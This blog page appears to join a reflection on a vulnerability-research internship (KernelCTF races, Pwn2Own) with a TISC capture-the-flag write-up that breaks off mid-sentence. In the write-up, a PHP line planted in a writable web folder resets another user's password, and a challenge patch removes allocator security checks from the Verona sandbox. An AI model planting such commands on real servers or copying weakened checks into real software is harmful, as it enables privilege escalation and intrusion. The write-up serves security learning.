As July came to an end, so did my 6 months at STAR Labs. I started a three-month internship at the Singapore-based vulnerability research firm in February, before deciding to extend my time there until August. Going in, my goals were simple: to experience life as a vulnerability researcher (and see if it suited me), and to find a single Linux kernel zero-day (for the #streetcred). Coming out of the internship, I’m thankful to have achieved these goals and more.
Since blog posts talking about the ‘behind-the-scenes’ of vulnerability research (VR) are few compared to technical analyses, I thought I’d write this post to pull back the curtain of what the work is like. In this post, I’ll share my experiences racing in Google’s KernelCTF, competing at Pwn2Own, and what I learned along the way.
The anatomy of a bug (Piotr Jaworski/Creative Commons)
To the uninitiated, KernelCTF is Google’s kernel bug bounty program; the CTF name is a bit of a misnomer. In a nutshell, if you find a bug in the kernel and demonstrate its exploitability on Google’s kernel instances by achieving local privilege escalation, you are eligible for a bug bounty.
After joining STAR Labs, my first task was to analyze Linux Kernel n-days. One of the bugs I analyzed was in the Linux kernel’s network scheduler subsystem, or net/sched for short. This was a bug that had been recently exploited in KernelCTF, and I was tasked with writing an exploit based only on the bug’s patch.
Coincidentally, a few days into my analysis, h0mbre published an amazing blog post detailing his exploit for the very bug I was analyzing; he had the same idea of reviewing recent KernelCTF entries. Anyway, there was little point in continuing work on that n-day after reading his blog post. Given that there had been a few net/sched bug reports recently, my mentor, Ramdhan, suggested I look for variants of those bugs.
After a few days, I found what looked like a potential bug. It looked like a variant of a previously reported bug. However, the bug I found would only be triggered under very specific conditions. In order to verify that it was actually a bug, I ran a debug version of the kernel with those conditions always set to be true. When I sent my test payload, I was psyched to see that the bug was indeed valid — I managed to obtain a use-after-free. I quickly set out to figure out how to actually satisfy those conditions, but no dice. I roped in my mentor, but after a few days, we still could not satisfy the last required condition. At this point, I made the tough decision to give it up and move on.
A few days later, that decision paid off as I found my first bug in a separate part of the subsystem. Excitedly, I cobbled together an exploit, building upon ideas in h0mbre’s blog post. That day, I wolfed down my lunch, rushing back to my desk to put the finishing touches on my exploit script. After a few runs of debugging the remote environment, the exploit worked! I had successfully exploited a KernelCTF instance.
The flag is in the format
kernelCTF{xxx}
That first flag was the start of an exhilarating 2-3 months, as I would continue bug-hunting for KernelCTF.
Now’s a good time to explain how KernelCTF works. KernelCTF has 3 target instances: LTS, COS, and Mitigation, each running a different version of the Linux kernel. Pwning the LTS instance rewards the highest bounty. To avoid a surplus of bug submissions, the program only accepts one new entry every 2 weeks. When a new LTS and COS instance with a more recent version of their respective kernels is released, researchers only have a single window to pwn it. The reward goes to only the first researcher to pwn the instance successfully, while the other researchers have to wait 2 weeks to try again. The KernelCTF team publicizes details about the new instance in advance, so researchers can prepare their exploits before the instance is released. At the moment the instance is released (Friday 12:00 PM UTC), there will usually be 3-4 researchers racing to connect to the lucrative LTS instance (paying up to $70k USD for a single bug!) and run their exploits. This is the so-called KernelCTF “race”. It is possible to lose the race for multiple consecutive windows, leading to some researchers hoarding their zero-days until they win a race.
With that first zero-day I exploited on COS, I adapted it to work for the LTS and Mitigation instances as well. I was ready to compete in my first race.
Here’s what the submission process normally looks like: the researcher SSHes into the instance, solves a proof-of-work, uploads their exploit files, runs the exploit, gets the flag and enters it into a Google Form to complete their submission. The first researcher to submit the Google Form (based on the form response’s timestamp) wins the race.
Eager to win the race, I decided that my best chance at being the fastest was to automate the entire process from start to finish. This isn’t a new idea; some researchers have publicly talked about using automation to win the race. So, I had to put extra thought into optimizing my pipeline. With a week before the next LTS release, I sunk my time into building a pipeline to automatically connect to the instance, download the exploit and run it, and submit the flag.
After all my work — finding a zero-day, writing an exploit and creating an auto-submitter — all I could do was wait. When the time for the new release came around, I was in the office, my eyes glued to the interface of the auto-submitter.
The web interface of the auto-submitter
Great! The auto-submitter captured the LTS flag and submitted it. But it was too early to celebrate — was I the first? Nervously, I opened up the public Excel sheet to check if anyone had been faster in submitting the flag…
My first zero-day that pwned all 3 KernelCTF instances: COS, LTS and Mitigation. I won the LTS race by performing the LPE and submitting the flag 10.97s after the instance was released.
Success!
If you are interested in reading more about optimizing the submission process, the Crusaders of Rust have an incredible blog post about beating the proof-of-work.
Another element of the KernelCTF race is that only the first submission for a bug counts. If one researcher exploited a bug in the previous LTS instance 2 weeks ago and another researcher exploits the same bug in the latest LTS release, only the first researcher receives the bounty. Unfortunately, there is no way of knowing if somebody else has discovered the same bug until details of their submission are public. Depending on how long it takes the kernel maintainers to fix the bug, this can take upwards of a month. This means that for targets that many researchers are looking at, there is pressure to find bugs as quickly as possible, before other researchers find them too.
With the release of h0mbre’s post, research into net/sched was heating up. With more eyes on the subsystem than there had ever been, I was keen to preserve my momentum from that first bug. This began a frenzy of research as I pored over the codebase night and day. I wish I had more interesting anecdotes to share about the code audit process, but as you can imagine, it was just a lot of reading and debugging kernel code.
I’m working on a separate post for the STAR Labs blog containing a technical analysis of the subsystem, including a discussion of the bugs I found. There’s a lot of interesting details to cover, more than I can fit into this post!
This period was marked by a single goal: speed. Finding bugs fast; hyper-optimizing my exploit so that it ran as quickly as possible, sacrificing reliability if need be; minimizing latency in my auto-submission pipeline. Those weeks were thrilling, as I was always pushing myself to find new bugs and to improve the process. By the end of my internship, I had successfully submitted four zero-days. Each of the first three bugs targeted all 3 KernelCTF instances, while the last bug targeted only COS and Mitigation. All four bugs are now patched upstream!
My first contribution to the Linux kernel.
As part of the KernelCTF guidelines, I had to report the bugs to the kernel maintainers as well. For net/sched, this involved a fair bit of correspondence on the private security@kernel.org
channel and the public netdev mailing list. For the first time, I was interacting with kernel maintainers as I discussed fixes with the original authors of the vulnerable components. While most of these correspondences were pleasant, some maintainers seemed a bit annoyed. Having done my fair share of software development over the years, I can empathize with them — I was using the system in unintended ways and then complaining that it broke. Normally, developers would prioritize features and reports related to actual use cases, so they should consider this a low-priority report. However, given the security implications of the bugs I was reporting, they had to prioritize the report and consequently push back the rest of their work. For many developers, their passion would be in working on the subsystem and providing utility for its many users. Unfortunately, the fact that the subsystem is in the Linux kernel meant that they now had the added obligation to care about the kernel’s security model. Indeed, if I were a developer receiving these security bug reports, I would probably see it as a chore to fix them. All in all, this disclosure process has given me a newfound respect for kernel maintainers.
Other than KernelCTF, the other highlight of my time at STAR Labs was competing at Pwn2Own. After finding some success in KernelCTF, my boss proposed I work on the Linux operating systems target for Pwn2Own. This year, the Linux OS target was Red Hat Enterprise Linux (RHEL). In order to secure a win in that category, I had to demonstrate a Local Privilege Escalation on an up-to-date RHEL desktop environment. The Pwn2Own rules also requires competitors to use zero-days in their exploits; one-day exploits don’t count as full wins.
I was excited to start work on RHEL. Joining Pwn2Own had always been a distant dream of mine, but I was now actually in a position to do so. Although RHEL also uses the upstream Linux kernel, it has a somewhat different kernel configuration from the KernelCTF instances — certain kernel features were not compiled in but others were. Ultimately, this required me to look elsewhere for bugs.
Going from working on KernelCTF to Pwn2Own, my priorities shifted as well. In Pwn2Own, you only get three attempts at pwning your target. Running your exploit script once counts as one attempt. So, if the exploit is probabilistic, you want your script to automatically retry the exploit until it works. In addition, if your exploit fails and crashes the system, your attempt is over. This forced me to focus on reliability and minimizing side-effects, which had not been a priority in KernelCTF. In a way, this is closer to a real-world exploitation scenario.
Part of the ‘realism’ is that the target machines aren’t available to you until the competition day. While we were informed of the laptops’ general specifications, we could not actually interact with them. To avoid unexpected configurations, I had to rewrite my exploit to be more robust — considering common configuration possibilities and avoiding assumptions about default values.
The final part of the ‘realism’ is the last-minute vendor updates. The organizers lock the versions of the targets only a few days before the competition. If a vendor releases an update before the version lock, that new version is considered the up-to-date version, and competitors must adapt their exploits to work on it. This has made for unfortunate situations in the past, where participants got off their flights only to discover that the latest version had patched their bug. When I saw that RHEL had indeed released a new kernel version, I scrambled to read the new source code. Thankfully, my bug had remained unpatched, and my exploit worked again after updating the offsets of kernel structures.
This year, the competition was held alongside OffensiveCon in Berlin. There, I met up with Thach, my colleague. The two of us would represent STAR Labs at the competition. As a company, we had entries across 6 different targets: Windows 11, Docker Desktop, VMware ESXi, RHEL, VirtualBox, and NVIDIA Triton Inference Server. Thach was targeting ESXi, and I was targeting RHEL; the other entries were our colleagues’ work. Since they could not attend the conference in person, Thach and I would run their entries for them.
The famous Checkpoint Charlie in Berlin.
I was tasked with running the Windows 11 LPE and Docker Desktop container escape on the first day of the competition. I was terribly nervous about accidentally messing up my colleagues’ attempts. Pwn2Own was the culmination of many weeks of effort, and I’d hate for their work to go to waste because of mistakes on my part. Before the competition, I rehearsed their exploit steps in my hotel room until I was confident. Thankfully, the steps were straightforward, and their exploits worked without a hitch during the competition. This ‘stage experience’ helped ease my nerves for when I had to run my entry on the second day.
While I was only running those two entries on the first day, there were plenty of other attempts going on, including two teams targeting RHEL. Before the competition, the organizers randomly chose the sequence of attempts; I was drawn last to perform my attempt. This is unfortunate because of the competition’s bug collision penalty — if two competitors find and exploit the same zero-day, the one who performs their attempt first receives the full score while the second one receives no score. While the Linux kernel offers a huge attack surface and teams usually won’t face bug collisions, this slim possibility remained at the back of my mind throughout the first day of competition.
After a smooth first day, I was hoping for similar success on the second day. After lunch, I tested my RHEL exploit a few more times to make sure everything was working before heading to the competition room. There, the staff seated me at the contest table, where the target laptop running RHEL awaited, and handed me a brand-new flash drive. I unwrapped the packaging and transferred my exploit onto the flash drive, which they then transferred onto the laptop. When my allocated time slot came around, the cameras started rolling (the whole competition was livestreamed!) and a small crowd began gathering around the table. The staff member assigned to me asked if I was ready to run my exploit. After giving him my confirmation, I watched as the exploit logs started filling the console: configuration settings, leaked addresses, confirmation of obtained primitives.
Everything was going according to plan. Until… it wasn’t.
The final step in the exploitation had failed. Normally, this would not be an issue; my exploit code was programmed to retry the step until it succeeded. But this time, the retry count kept climbing. Twenty retries. Fifty. By the time the retry count had hit one hundred, I was beginning to entertain the possibility that this attempt would not succeed. In all my tests, this step had always succeeded within a few retries.
Remember earlier when I said “To avoid unexpected configurations, I had to rewrite my exploit to be more robust”? I suppose that’s not entirely true because this last step of the exploit was still reliant on a specific configuration (the bug would not work under alternative configurations). Sitting there in front of the live audience, watching the terminal screen, I could only make a best guess as to why the exploit was failing. Unable to interact with the laptop, I had to make a call.
I decided to end my first attempt and start preparing for my second shot. However, I knew that if my hypothesis was right, running the same exploit again would still fail because of the incorrect configuration option. I needed another plan.
Fortunately, I had one. Prior to the competition, my colleague Le Qi had recommended preparing backup exploits in case of last-minute patches or unexpected failures. I had heeded his advice and prepared a backup exploit, using a completely different bug and exploit chain. This backup exploit was one that I was almost 100% confident would work.
I loaded the new exploit onto the flash drive and crossed my fingers going into my second attempt. Despite the tension in the room, I was calm. I was confident in both my triage of the first attempt’s failure and my backup exploit. The staff member ran the new exploit script and…
Root shell on the competition laptop
Pwned!
The uncertainties weren’t over yet, though. I still had to get through the disclosure room. This was a private room where participants would discuss the zero-days they used with the organizers. Then, the organizers would check if they had received prior reports for the vulnerability (via their internal database) or if the vendor was aware of it (e.g. through their in-house audit team). In either case, the attempt would be considered a failure. I was slightly worried. I had saved my backup exploit for my second choice because the bug it used was quite shallow — you would not need a deep knowledge of the subsystem to spot it — so there was a higher chance that it had been reported before. Luckily, my worries were all for nothing when the disclosure team confirmed it was a novel vulnerability; I could finally celebrate!
It was awesome meeting everyone at OffensiveCon. I could finally put a face to some Twitter handles. The afterparties on both days were fantastic too — I met tons of interesting people there!
Incredibly, STAR Labs topped the leaderboard after 3 days of competition, bringing home the coveted Master of Pwn title. A few months ago, I was watching Pwn2Own from afar, wondering if I’d ever get the chance to take part. Now, I was standing on stage, lifting the Master of Pwn trophy. The credit belongs mostly to my teammates — they tackled the hardest targets — but the experience showed me that what once felt out of reach was closer than I thought. It was a privilege to work alongside such talented teammates, and the experience reminded me how much I still have to learn.
Thach and I receiving the trophy on the OffensiveCon stage
This whole journey has been a wild ride. All things considered, I’m pretty happy with what I managed to achieve. This has already turned into quite a long “Dear diary,” so I’ll wrap it up by talking about the people.
Shout-out to all the write-up authors. I will forever be grateful for the countless CTF and VR write-ups that people upload. They are an invaluable resource to the community, lowering the barrier to entry for all who are interested.
Thank you to the STAR Labs staff, who were friendly and helpful during my time there. In particular, my mentor, Ramdhan, who was always willing to lend a hand, and my boss, Jacob, for supporting my endeavors. And of course, the other interns who made the office warmer on those occasional rainy days.
During my internship, one question I had on my mind was, “What kind of people stick around in VR?”. In those 6 months, I had the opportunity to talk to many people within the community and learn about their perspectives. I’ll put these takeaways about the bug-hunting process in a separate post.
This is the final part of my TISC write-ups, detailing my solutions to level 10-12.
This is a puzzle-type challenge. Each individual step is easy; the difficulty lies in finding every clue in the challenge and piecing it together.
1
2
3
!!! We've found a weird device with a timer counting down! Ccould..it... be...a bomb....?? Your fellow agents found some access into the engineer's machine, will you be able to find some clues and diffuse it before it's too late?
For details on your instance, talk to @DiffuseInstanceBot on Telegram.
We can spin up a challenge instance via the Telegram bot, which gives us SSH credentials. Upon connection, we are dropped into a Windows CMD shell as the user diffuser
. Let’s do some enumeration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
diffuser@DIFFUSE C:\Users\diffuser>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:22 0.0.0.0:0 LISTENING 4944
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 444
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 732
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 444
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1176
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 3036
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 860
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 716
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1868
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2780
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 2148
TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING 3996
TCP 0.0.0.0:49672 0.0.0.0:0 LISTENING 848
[...]
Listing the open ports and active connections, we find that the remote is listening on port 3389, which is commonly used for the remote desktop protocol (RDP). After forwarding the port 3389, we manage to successfully RDP into the server. There are a few memes on the desktop but nothing useful. Looking at the root of the drive, we find some useful information.
Based on the WindowsAzure
folder, this is likely a Windows Azure machine. This makes sense as the challenge author would need a cloud service to spin up many Windows machines for players. The xampp
folder suggests that the server is running an Apache web server. From the earlier netstat
results, the web server could be the listener on port 80. Let’s check it out.
We are presented with a fake ransomware form. Based on the network headers Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3
, we can confirm that this is hosted with the Apache server. We are unable to view the server’s source as we have insufficient permissions to read the C:/xampp
folder. The client-side source reveals nothing interesting, and neither does analyzing the forwarded traffic. Using a batch script to poll the result of netstat
, we find that submitting the form does not open any new remote connections. In fact, submitting the form has no noticeable behaviour.
Continuing our enumeration of the system, we find a similarly named user diffuse
(our account is diffuser
) but we do not have permission to view their files. Given the similarity in their names, the challenge will likely involve pivoting into the other user (which would require privilege escalation).
Without a clear direction on how to proceed, I tried the following to no avail:
diffuse
was involved in the provisioning as well.netstat -ano
, there is also a list of IPs that the target machine is connected to. I suspected that one of the IPs might be the ransomware C2 server but most were either Azure or data center IPs.At this point, I was pretty stuck and had resorted to blackbox web. Running dirbuster on the target, I found a few interesting routes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/cgi-bin/ 403 Forbidden
/examples/ 503 Service Unavailable
/licenses/ directory index
/icons/ directory index
/phpmyadmin/
- js
- dist
- vendor
- bootstrap
- codemirror
- jquery
- themes
- pmahomme
- css
- img
- jquery
/server-status
/uploads/
- index.php
- aaaaa12345.png
/webalizer/ 403 Forbidden (but weird)
- webalizer.conf
- msfree.png
Once again, I exhausted a laundry list of blackbox techniques, including:
/licenses
and /icons
results in a directory listing. This is atypical and suggestive of a misconfiguration in the router. I used dotdotpwn to attempt directory traversal attacks./licenses
, which gives us a rough idea on how old the plugins are. There are many outdated plugins with CVEs, but none of the exploits worked (the plugins were likely not activated)./phpmyadmin
but it is filled with errors about failing to connect to the local MySQL
server. I tried fixing these errors but didn’t get far without admin permissions./server-status
page lists all previous connections requests to the server. I monitored this page after submitting the ransomware form hoping that the attacker would then connect to the page.Randomly, as I was playing around in the remote desktop, I realized that I could access C:\xampp\apache\bin
(although you cannot access either C:\xampp
or C:\xampp\apache
)! Trying out different paths, I found that you could access the contents of C:\xampp\htdocs\
such as uploads\
or index.php
as well. Furthermore, you could overwrite these files and the server would still serve them. Given that the server is running with admin rights, you could use this PHP RCE to achieve privilege escalation. I added the following line to uploads\index.php
to changes the password to the diffuse
user: <?php exec('net user diffuse pwd') ?>
.
The infinite monkey theorem states that a monkey hitting keys at random on a typewriter keyboard for an infinite amount of time will almost surely type any given text, including the complete works of William Shakespeare. I felt like the monkey after figuring out that the
xampp
directory permissions were misconfigured.
Now, we can login to the “root” account in diffuse
. Let’s RDP in again.
This is where we begin a scavenger hunt to find all the pieces of the puzzle. For brevity, I will simply list the relevant files.
Setup
: This is the only file in the Recommend tab in the Windows start menu when you first log in. This powershell script is run at system startup using the Task Scheduler. The script installs and sets up dependencies like SSH and Apache, clears the logs and also checks that two files exist: schematic.pdf
and firmware.hex
. In fact, these are the only two critical files for this challenge.schematic.pdf
: From the Setup
script, we can find it in C:\Users\diffuse\AppData\Roaming\Incendiary\Schematics\
. Alternatively, looking through Windows Recall shows a screenshot where the user had viewed the PDF. The PDF is a single-page document containing the following diagram (see below).firmware.hex
: This file can be found in the desktop folder project_incendiary
. The file is a hexdump in the Intel hex format, which is commonly used for microcontrollers.key_to_embed.txt
which contains the text "redacted."
.
The contents of the PDF. It describes a circuit with an Arduino Uno, 7-segment display, LCD, keypad and key chip.
At the moment, our two most promising leads are the PDF schematic and the firmware hexdump. Converting the hexdump into a raw dump, we find the following suggestive strings.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
APP@
123A456B789C*0#D
K2Yl`b7X~2-(S.5(
[Ofm}
ow|9^yq
Wrong decryption
or no key chip!
Less time now!
F8g3a_9V7G2$d#0h
Read key chip:
GoodLuckDefusing
THIS BOMB
Enter Code:
BOOM!
Game Over :)
39AB41D072C
Bomb defused!
This ties in to the challenge description of defusing a bomb. There are some write-ups online on reversing Arduino firmware which we can use to confirm that this is indeed an Arduino firmware dump.
1
2
3
4
5
6
7
8
9
10
11
$ xxd firmware.bin | head
00000000: 0c94 6301 0c94 8b01 0c94 8b01 0c94 6d09 ..c...........m.
00000010: 0c94 6d09 0c94 6d09 0c94 8b01 0c94 8b01 ..m...m.........
00000020: 0c94 8b01 0c94 8b01 0c94 8b01 0c94 8b01 ................
00000030: 0c94 8b01 0c94 8b01 0c94 8b01 0c94 8b01 ................
00000040: 0c94 2309 0c94 8b01 0c94 8b01 0c94 8b01 ..#.............
00000050: 0c94 8b01 0c94 8b01 0c94 8b01 0c94 8b01 ................
00000060: 0c94 e509 0c94 8b01 5209 6ad5 3036 a538 ........R.j.06.8
00000070: bf40 a39e 81f3 d7fb 7ce3 3982 9b2f ff87 .@......|.9../..
00000080: 348e 4344 c4de e9cb 547b 9432 a6c2 233d 4.CD....T{.2..#=
00000090: ee4c 950b 42fa c34e 082e a166 28d9 24b2 .L..B..N...f(.$.
I spent a long time reversing the binary throughout the challenge but as we will soon see, it was not at all necessary. If you are interested, this article is a good primer on reversing Arduino in IDA and this repository details Diaphora usage.
Examining the schematic PDF, we can see references to Wokwi. Wokwi is a microcontroller simulator site with a robust feature set. In fact, we can recreate the entire circuit in Wokwi based on the schematic. Wokwi does not have a uart-key-chip
part so we use a Custom Chip part as a substitute. We will likely have to implement some logic on the custom chip later for the bomb to work.
After replicating the entire circuit setup, we can upload the firmware file on Wokwi, which will simulate running it on the Arduino within the browser!
Three messages appear on the LCD. The first message is “Read key chip:”, the second message is “GoodLuckDefusing THIS BOMB”, with the final message appearing as part of the main interaction loop of the Arduino.
The LCD prompts us for a code, which we can input using the keypad, using the pound key to submit it. At the same time, the 7-segment display shows a countdown timer starting at 5 minutes. Every incorrect attempt produces the message: “Wrong decryption or no key chip!” and “Less time now!”, reducing our time by 30 seconds. When the timer runs out, the message “BOOM! Game Over :)” appears.
Based on the context, we likely need to enter the right code to defuse the bomb, which will reward us with the flag. Based on the error message, it seems as though the Arduino is not detecting the key chip. This is likely because the Arduino is expecting the key chip to do something but our custom chip currently does nothing.
From the part name uart-key-chip (9600)
, we can guess that the chip uses the UART protocol to communicate with the Arduino. I used the following custom chip code to receive UART data with a baud rate of 9600:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "wokwi-api.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
uart_dev_t uart0;
} chip_state_t;
static void on_uart_rx_data(void *user_data, uint8_t byte);
static void on_uart_write_done(void *user_data);
void chip_init(void) {
chip_state_t *chip = malloc(sizeof(chip_state_t));
const uart_config_t uart_config = {
.tx = pin_init("OUT", INPUT_PULLUP),
.rx = pin_init("IN", INPUT),
.baud_rate = 9600,
.rx_data = on_uart_rx_data,
.write_done = on_uart_write_done,
.user_data = chip,
};
chip->uart0 = uart_init(&uart_config);
printf("UART Chip initialized!\n");
}
int byte_number = 1;
static void on_uart_rx_data(void *user_data, uint8_t byte) {
chip_state_t *chip = (chip_state_t*)user_data;
printf("Incoming UART data (byte %d): %d\n", byte_number++, byte);
}
We find the following logs in the Wokwi terminal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Incoming UART data (byte 1): 70
Incoming UART data (byte 2): 56
Incoming UART data (byte 3): 103
Incoming UART data (byte 4): 51
Incoming UART data (byte 5): 97
Incoming UART data (byte 6): 95
Incoming UART data (byte 7): 57
Incoming UART data (byte 8): 86
Incoming UART data (byte 9): 55
Incoming UART data (byte 10): 71
Incoming UART data (byte 11): 50
Incoming UART data (byte 12): 36
Incoming UART data (byte 13): 100
Incoming UART data (byte 14): 35
Incoming UART data (byte 15): 48
Incoming UART data (byte 16): 104
This is actually one of the strings we found in the firmware earlier: “K2Yl`b7X~2-(S.5(“. We can also send data to the board as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int byte_number = 1;
char* key = "ABCDEFGHabcdefgh";
static void on_uart_rx_data(void *user_data, uint8_t byte) {
chip_state_t *chip = (chip_state_t*)user_data;
printf("Incoming UART data (byte %d): %d\n", byte_number++, byte);
uint8_t data_out = key[byte_number - 2];
printf("Writing key back: %d\n", data_out);
}
static void on_uart_write_done(void *user_data) {
chip_state_t *chip = (chip_state_t*)user_data;
printf("UART write done\n");
}
This changes the behaviour of the bomb. Now, the first message says Read key chip: ABCDEFGHabcdefgh
instead of remaining empty. We have to send the key byte by byte with every byte of data we receive because sending the key in one go produces a corrupt key on the Read key chip:
screen. This also suggests that the correct key is 16 characters long, the number of bytes the custom chip receives. Recalling the file key_to_embed.txt
containing the text redacted.
, we likely have to figure out the correct key to send back to the board.
Figuring out that something was missing, I decided to look through all the puzzle pieces I had. Examining the PDF, I realized that although it was a single page document, it said “Page 1 of 2” in the footer. Suspecting that this might be a clue, I decided to perform PDF forensics on the file using PDFtk. This revealed that there indeed was a hidden second page containing the text: note to self: need to pull down the RNG pin
(this text is actually invisible but most forensic tools will identify it) and key: m59F$6/lHI^wR~C6
.
Promisingly, we have found a 16-character key which we can use in our custom chip. The other hint tells us that we need to pull down the RNG pin. From the schematic earlier, we notice that there is the word “RNG” next to the A0 pin, implying that that is our target pin. Pulling down a pin is an electrical engineering term that means to connect the pin to ground. The last piece of the puzzle is figuring out what the correct code to enter is. This is actually rather simple – 39AB41D072C
from the result of strings
on the firmware turns out to be the correct code.
Supplying the key we found via the key chip, entering this code greets us with a new message: "Bomb defused! Find your flag in the I2C bus..."
.
The resistor and switch in the bottom left of the circuit is used to pull down pin A0.
Nice! The I2C pins (SDA/SCL) are currently used by the LCD display, which actually uses the I2C protocol too. We can attach another custom chip that shares those two pins and dumps all I2C traffic. The code is not dissimilar to the key chip’s, but uses the different methods for the I2C protocol instead.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include "wokwi-api.h"
#include <stdio.h>
#include <stdlib.h>
const int ADDRESS = 0x0; // Listen for all requests
typedef struct {
pin_t pin_int;
uint8_t counter;
uint32_t threshold_attr;
} chip_state_t;
static bool on_i2c_connect(void *user_data, uint32_t address, bool connect);
static uint8_t on_i2c_read(void *user_data);
static bool on_i2c_write(void *user_data, uint8_t data);
static void on_i2c_disconnect(void *user_data);
void chip_init() {
chip_state_t *chip = malloc(sizeof(chip_state_t));
chip->pin_int = pin_init("INT", INPUT);
chip->counter = 0;
const i2c_config_t i2c_config = {
.user_data = chip,
.address = ADDRESS,
.scl = pin_init("SCL", INPUT),
.sda = pin_init("SDA", INPUT),
.connect = on_i2c_connect,
.read = on_i2c_read,
.write = on_i2c_write,
.disconnect = on_i2c_disconnect,
};
i2c_init(&i2c_config);
printf("Hello from custom chip!\n");
}
bool on_i2c_connect(void *user_data, uint32_t address, bool connect) {
printf("i2c conn\n");
return true; /* Ack */
}
uint8_t on_i2c_read(void *user_data) {
printf("i2c read\n");
return 0;
}
bool on_i2c_write(void *user_data, uint8_t data) {
printf("i2c write 0x%x\n", data);
return true; // Ack
}
void on_i2c_disconnect(void *user_data) {
// Do nothing
}
Parsing the dumped bytes, we find the flag repeated multiple times: TISC{h3y_Lo0k_1_m4d3_My_0wn_h4rdw4r3_t0k3n!}
While I presented this write-up in a relatively straightforward manner, I went down rabbit-holes at every step of solving this challenge. After gaining access to the
diffuse
account, it took an embarrassing amount of time to find the PDF and discover its hidden second page. As a result, I spent way too long reversing the firmware to figure out the key checking mechanism.
In fair Verona, where we lay our scene…
As its name alludes to, this is a binary exploitation notes app challenge. In the distributed folder, we find the following files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
build/
- chall
- sandboxedlib.so
include/
- child_malloc.h
- host_service_calls.h
lib/
- library_runner
- libsandbox.so
src/
- chall.cpp
- sandboxedlib.cpp
chall.patch
CMakeLists.txt
Dockerfile
flag.txt
README.md
run.sh
This challenge requires a fair bit of background knowledge into Verona internals. I will provide a concise explanation of its essential features. However, I will not be covering everything in the Verona sandbox’s rich feature set. I highly recommend reading its readme, which provides a high-level overview of its internals, for a more complete understanding.
This challenge uses Microsoft’s Verona sandbox to sandbox a vulnerable library sandboxedlib.so
. As with any sandbox, the Verona sandbox aims to isolate unsafe code while allowing controlled interactions with the host system. One interesting feature of the Verona sandbox is that the parent has a shared region of memory with the sandboxed library. This is called the sandbox heap and is mapped at the same address in both processes so that data structures with pointers can work in both the parent and the child.
The sandboxed library sandboxedlib.so
also exposes sandboxed functions that the parent binary chall
can call. The parent process does not interact directly with the sandboxed library. Instead, it communicates with a child process library_runner
. This binary is built directly from the Verona sandbox source and is required in all usages of the sandbox. After starting the child process, the parent uses seccomp
to secure it. The binary loads the vulnerable library into memory and communicates with the parent through a number of handles. Under the sandbox’s threat model, the attacker (controlling the vulnerable library) is assumed to be able to corrupt any memory owned by the sandbox.
As a final bit of context, let’s discuss the snmalloc
allocator, a bespoke “message passing based allocator” developed by Microsoft. This allocator supports allocations and deallocations across threads by using message passing to communicate. The Verona sandbox extends the snmalloc
allocator to support allocations between the parent and the child (or multiple childs). Within the sandbox, memory is managed using this allocator, overriding the standard glibc malloc
and free
implementations. The snmalloc
allocator uses a pagemap to track the status of allocations within a heap. When used in the Verona sandbox, both the pagemap and the shared heap are mapped in both the parent and the child. However, only the parent has write access to the pagemap segment since the child is untrusted. When the child needs more memory, it sends a chunk allocation request (typically of size 1 MiB) to the parent via a RPC protocol. The parent validates the request, then services it within the shared sandboxed heap. The child can then use the allocated chunk for further allocations.
The patch chall.patch
introduces vulnerabilities to a recent version of the sandbox. The patches disable checks in libsandbox.cc
and increase the security of the seccomp
filters in sandbox_seccomp-bpf.h
. Let’s first look at the patches on the former:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
diff --git a/src/libsandbox.cc b/src/libsandbox.cc
index ddb12c4..257753e 100644
--- a/src/libsandbox.cc
+++ b/src/libsandbox.cc
@@ -149,14 +149,6 @@ namespace sandbox
continue;
}
HostServiceResponse reply{0, 0};
- auto is_metaentry_valid =
- [&](size_t size, SharedAllocConfig::Pagemap::Entry& metaentry) {
- auto sizeclass = metaentry.get_sizeclass();
- auto remote = metaentry.get_remote();
- return ((remote == nullptr) ||
- s->contains(remote, sizeof(snmalloc::RemoteAllocator))) &&
- (snmalloc::sizeclass_full_to_size(sizeclass) <= size);
- };
// No default so we get range checking. Fallthrough returns the error
// result.
switch (rpc.kind)
@@ -180,11 +172,6 @@ namespace sandbox
// case where the remote is not the single remote of the allocator
// associated with this sandbox for use on the outside.
SharedAllocConfig::Pagemap::Entry metaentry{meta, ras};
- if (!is_metaentry_valid(size, metaentry))
- {
- reply.error = 1;
- break;
- }
snmalloc::capptr::Arena<void> alloc;
{
auto [g, m] = s->get_memory();
@@ -195,7 +182,6 @@ namespace sandbox
reply.error = 2;
break;
}
- metaentry.claim_for_sandbox();
SharedAllocConfig::Pagemap::set_metaentry(
address_cast(alloc), size, metaentry);
libsandbox.cc
is the Verona sandbox source file containing the main parent sandbox logic. Most of the patches in this file target the MemoryServiceProvider
class. The parent uses this class to handle chunk allocation requests from the child. The MemoryServiceProvider::run()
method polls for RPC protocol messages from the child and handles them accordingly. The child uses the RPC messages AllocChunk
and DeallocChunk
to interact with the memory provider.
The prior patch removes checks in the AllocChunk
